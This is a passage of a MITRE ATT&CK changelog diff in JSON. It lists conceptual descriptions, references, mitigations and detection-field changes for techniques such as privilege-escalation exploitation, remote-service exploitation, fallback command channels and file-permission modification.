+ "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1211", + "external_id": "T1211" + }, + { + "source_name": "Salesforce zero-day in facebook phishing attack", + "description": "Bill Toulas. (2023, August 2). Hackers exploited Salesforce zero-day in Facebook phishing attack. Retrieved September 18, 2023.", + "url": "https://www.bleepingcomputer.com/news/security/hackers-exploited-salesforce-zero-day-in-facebook-phishing-attack/" + }, + { + "source_name": "Bypassing CloudTrail in AWS Service Catalog", + "description": "Nick Frichette. (2023, March 20). Bypassing CloudTrail in AWS Service Catalog, and Other Logging Research. Retrieved September 18, 2023.", + "url": "https://securitylabs.datadoghq.com/articles/bypass-cloudtrail-aws-service-catalog-and-other/" + }, + { + "source_name": "GhostToken GCP flaw", + "description": "Sergiu Gatlan. (2023, April 21). GhostToken GCP flaw let attackers backdoor Google accounts. Retrieved September 18, 2023.", + "url": "https://www.bleepingcomputer.com/news/security/ghosttoken-gcp-flaw-let-attackers-backdoor-google-accounts/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "John Lambert, Microsoft Threat Intelligence Center" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "SaaS", + "IaaS" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:39.960000+00:00\", \"old_value\": \"2025-04-15 19:59:24.778000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1019: Threat Intelligence Program", + "M1048: Application Isolation and Sandboxing", + "M1050: Exploit Protection", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0595: Detection Strategy for Exploitation for Defense Evasion" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:55.066000+00:00", + "modified": "2025-10-24 17:49:14.643000+00:00", + "name": "Exploitation for Privilege Escalation", + "description": "Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\nAdversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1068", + "external_id": "T1068" + }, + { + "source_name": "ESET InvisiMole June 2020", + "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf" + }, + { + "source_name": "Microsoft Driver Block Rules", + "description": "Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules" + }, + { + "source_name": "Unit42 AcidBox June 2020", + "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.", + "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics", + "Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security", + "Idan Revivo, @idanr86, Team Nautilus Aqua Security", + "David Tayouri" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Driver: Driver Load\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:14.643000+00:00\", \"old_value\": \"2025-04-15 19:58:58.811000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules)\\n\\nHigher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules)\\n-\\n-Higher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.\"}}}", + "previous_version": "1.6", + "changelog_mitigations": { + "shared": [ + "M1019: Threat Intelligence Program", + "M1038: Execution Prevention", + "M1048: Application Isolation and Sandboxing", + "M1050: Exploit Protection", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0027: Driver (Driver Load)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0514: Detection Strategy for Exploitation for Privilege Escalation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-24 17:49:09.112000+00:00", + "name": "Exploitation of Remote Services", + "description": "Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB(Citation: CIS Multiple SMB Vulnerabilities) and RDP(Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL(Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169)(Citation: Ars Technica VMWare Code Execution Vulnerability 2021) Additionally, there have been a number of vulnerabilities in VMware vCenter installations, which may enable threat actors to move laterally from the compromised vCenter server to virtual machines or even to ESXi hypervisors.(Citation: Broadcom VMSA-2024-0019)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1210", + "external_id": "T1210" + }, + { + "source_name": "Broadcom VMSA-2024-0019", + "description": "Broadcom. (2024, September 17). VMSA-2024-0019: Questions & Answers. Retrieved April 8, 2025.", + "url": "https://github.com/vmware/vcf-security-and-compliance-guidelines/blob/main/security-advisories/vmsa-2024-0019/README.md" + }, + { + "source_name": "CIS Multiple SMB Vulnerabilities", + "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.", + "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/" + }, + { + "source_name": "Ars Technica VMWare Code Execution Vulnerability 2021", + "description": "Dan Goodin . (2021, February 25). Code-execution flaw in VMware has a severity rating of 9.8 out of 10. Retrieved April 8, 2025.", + "url": "https://arstechnica.com/information-technology/2021/02/armed-with-exploits-hackers-on-the-prowl-for-a-critical-vmware-vulnerability/" + }, + { + "source_name": "NVD CVE-2016-6662", + "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662" + }, + { + "source_name": "NVD CVE-2017-0176", + "description": "National Vulnerability Database. (2017, June 22). CVE-2017-0176 Detail. Retrieved April 3, 2018.", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0176" + }, + { + "source_name": "NVD CVE-2014-7169", + "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "ExtraHop" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "ESXi" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:09.112000+00:00\", \"old_value\": \"2025-04-15 19:58:53.590000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of [Discovery](https://attack.mitre.org/tactics/TA0007), or other unusual network traffic that may indicate additional tools transferred to the system.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1016: Vulnerability Scanning", + "M1019: Threat Intelligence Program", + "M1026: Privileged Account Management", + "M1030: Network Segmentation", + "M1042: Disable or Remove Feature or Program", + "M1048: Application Isolation and Sandboxing", + "M1050: Exploit Protection", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0118: Exploitation of Remote Services \u2013 multi-platform lateral movement detection" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:21.689000+00:00", + "modified": "2025-10-24 17:49:35.854000+00:00", + "name": "Fallback Channels", + "description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1008", + "external_id": "T1008" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "ESXi" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:35.854000+00:00\", \"old_value\": \"2025-04-25 15:16:21.879000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0499: Behavioral Detection of Fallback or Alternate C2 Channels" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:04.710000+00:00", + "modified": "2025-10-24 17:49:00.036000+00:00", + "name": "File and Directory Discovery", + "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information (e.g. dir, show flash, and/or nvram).(Citation: US-CERT-TA18-106A)\n\nSome files and directories may require elevated or specific user permissions to access.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1083", + "external_id": "T1083" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "US-CERT-TA18-106A", + "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Austin Clark, @c2defense" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.7", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:00.036000+00:00\", \"old_value\": \"2025-04-15 19:58:44.118000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather file and directory information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather file and directory information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations. \"}}}", + "previous_version": "1.7", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0370: Recursive Enumeration of Files and Directories Across Privilege Contexts" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17 00:14:20.652000+00:00", + "modified": "2025-10-24 17:48:52.570000+00:00", + "name": "File and Directory Permissions Modification", + "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory\u2019s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).\n\nAdversaries may also change permissions of symbolic links. For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.(Citation: new_rust_based_ransomware)(Citation: bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation: blackmatter_blackcat)(Citation: fsutil_behavior) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1222", + "external_id": "T1222" + }, + { + "source_name": "falconoverwatch_blackcat_attack", + "description": "Falcon OverWatch Team. (2022, March 23). Falcon OverWatch Threat Hunting Contributes to Seamless Protection Against Novel BlackCat Attack. Retrieved May 5, 2022.", + "url": "https://www.crowdstrike.com/blog/falcon-overwatch-contributes-to-blackcat-protection/" + }, + { + "source_name": "Hybrid Analysis Icacls1 June 2018", + "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.", + "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100" + }, + { + "source_name": "Hybrid Analysis Icacls2 May 2018", + "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.", + "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110" + }, + { + "source_name": "bad_luck_blackcat", + "description": "Kaspersky Global Research & Analysis Team (GReAT). (2022). A Bad Luck BlackCat. Retrieved May 5, 2022.", + "url": "https://go.kaspersky.com/rs/802-IJN-240/images/TR_BlackCat_Report.pdf" + }, + { + "source_name": "fsutil_behavior", + "description": "Microsoft. (2021, September 27). fsutil behavior. Retrieved January 14, 2022.", + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-behavior" + }, + { + "source_name": "EventTracker File Permissions Feb 2014", + "description": "Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.", + "url": "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/" + }, + { + "source_name": "blackmatter_blackcat", + "description": "Pereira, T. Huey, C. (2022, March 17). From BlackMatter to BlackCat: Analyzing two attacks from one affiliate. Retrieved May 5, 2022.", + "url": "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html" + }, + { + "source_name": "new_rust_based_ransomware", + "description": "Symantec Threat Hunter Team. (2021, December 16). Noberus: Technical Analysis Shows Sophistication of New Rust-based Ransomware. Retrieved January 14, 2022.", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-alphv-rust-ransomware" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "CrowdStrike Falcon OverWatch", + "Jan Miller, CrowdStrike" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "2.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Active Directory: Active Directory Object Modification\", \"Command: Command Execution\", \"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:52.570000+00:00\", \"old_value\": \"2025-04-16 20:37:17.378000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\\n\\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\\n-\\n-Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)\"}}}", + "previous_version": "2.3", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1026: Privileged Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Metadata)", + "DS0026: Active Directory (Active Directory Object Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0299: Multi-Platform File and Directory Permissions Modification Detection Strategy" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-04 19:24:27.774000+00:00", + "modified": "2025-10-24 17:48:21.839000+00:00", + "name": "Linux and Mac File and Directory Permissions Modification", + "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1222/002", + "external_id": "T1222.002" + }, + { + "source_name": "Hybrid Analysis Icacls1 June 2018", + "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.", + "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100" + }, + { + "source_name": "Hybrid Analysis 